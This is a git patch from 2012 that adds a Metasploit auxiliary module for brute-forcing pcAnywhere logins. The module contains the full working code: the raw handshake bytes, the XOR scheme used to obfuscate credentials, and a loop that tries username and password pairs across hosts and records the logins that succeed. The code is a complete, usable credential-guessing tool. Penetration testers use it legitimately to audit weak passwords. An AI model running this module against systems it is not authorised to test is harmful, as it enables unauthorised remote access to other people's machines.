From e93a6ddf8308201084557fa037515d11aa532520 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 31 May 2012 14:46:26 -0500 Subject: [PATCH] Adds thelightcosine's pcanywhere module Adds PCAnywhere bruteforce capabilities Squashed commit of the following: commit 5354fd849f0c009c534d7ce18369382dd56de550 Author: David Maloney Date: Thu May 31 14:35:23 2012 -0500 Add explicit pack to encrypted header commit 7911dd309a94df2729c8247c3817cf5de6b99aad Author: David Maloney Date: Thu May 31 13:11:19 2012 -0500 adds pcanywhere_login module --- .../scanner/pcanywhere/pcanywhere_login.rb | 171 ++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb new file mode 100644 index 0000000000..0769dfaf5e --- /dev/null +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -0,0 +1,171 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core/exploit/tcp' + +class Metasploit3 < Msf::Auxiliary + + include Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + + def initialize + super( + 'Name' => 'pcAnywhere Login Scanner', + 'Version' => '$Revision$', + 'Description' => %q{This module will test pcAnywhere logins on a range of machines and + report successful logins. + }, + 'Author' => ['TheLightCosine '], + 'References' => + [ + [ 'CVE', '1999-0502'] # Weak password + ], + 'License' => MSF_LICENSE + ) + + register_options([Opt::RPORT(5631)]) + + end + + def run_host(ip) + connect + hsr = pca_handshake(ip) + return if hsr == :handshake_failed + + each_user_pass do |user, pass| + next if user.blank? or pass.blank? + print_status "Trying #{user}:#{pass}" + result = do_login(user, pass) + case result + when :success + print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}" + report_auth_info( + :host => rhost, + :port => datastore['RPORT'], + :sname => 'pcanywhere_data', + :user => user, + :pass => pass, + :source_type => "user_supplied", + :active => true + ) + return if datastore['STOP_ON_SUCCESS'] + print_status "Waiting to Re-Negotiate Connection (this may take a minute)..." + select(nil, nil, nil, 40) + connect + hsr = pca_handshake(ip) + return if hsr == :handshake_failed + when :fail + print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}" + when :reset + print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}" + print_status "Connection Reset Attempting to reconnect in 1 second" + select(nil, nil, nil, 1) + connect + hsr = pca_handshake(ip) + return if hsr == :handshake_failed + end + end + + end + + def do_login(user, pass, nsock=self.sock) + #Check if we are already at a logon prompt + res = nsock.get_once(-1,5) + euser = encryption_header(encrypt(user)) + nsock.put(euser) + res = nsock.get_once(-1,5) + + #See if this knocked a login prompt loose + if res and res.include? "Enter login" + nsock.put(euser) + res = nsock.get_once(-1,5) + end + + #Check if we are now at the password prompt + unless res and res.include? "Enter password" + print_error "Problem Sending Login: #{res.inspect}" + return :abort + end + + epass = encryption_header(encrypt(pass)) + nsock.put(epass) + res = nsock.get_once(-1,5) + if res.include? "Login unsuccessful" + disconnect() + return :reset + elsif res.include? "Invalid login" + return :fail + else + disconnect() + return :success + end + end + + def pca_handshake(ip, nsock=self.sock) + print_status "Handshaking with the pcAnywhere service" + nsock.put("\x00\x00\x00\x00") + res = nsock.get_once(-1,5) + unless res and res.include? "Please press " + print_error "Handshake(1) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + return :handshake_failed + end + + nsock.put("\x6F\x06\xff") + res = nsock.get_once(-1,5) + unless res and res.include? "\x78\x02\x1b\x61" + print_error "Handshake(2) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + return :handshake_failed + end + + nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00") + res = nsock.get_once(-1,5) + unless res and res == "\x1b\x62\x00\x02\x00\x00\x00" + print_error "Handshake(3) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + return :handshake_failed + end + + nsock.put("\x6f\x62\x01\x02\x00\x00\x00") + res = nsock.get_once(-1,5) + unless res and res.include? "\x00\x7D\x08" + print_error "Handshake(4) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + return :handshake_failed + end + + res = nsock.get_once(-1,5) unless res and res.include? 'Enter login name' + unless res and res.include? 'Enter login name' + print_error "Handshake(5) failed on Host #{ip} aborting. (Error: #{res.inspect} )" + return :handshake_failed + end + end + + + def encrypt(data) + return '' if data.nil? or data.empty? + return '' unless data.kind_of? String + encrypted = '' + encrypted << ( data.unpack('C')[0] ^ 0xab ) + data.bytes.each_with_index do |byte, idx| + next if idx == 0 + encrypted << ( encrypted[(idx - 1),1].unpack('C')[0] ^ byte ^ (idx - 1) ) + end + return encrypted + end + + def encryption_header(data) + header = [6,data.size].pack('CC') + header << data + return header + end + +end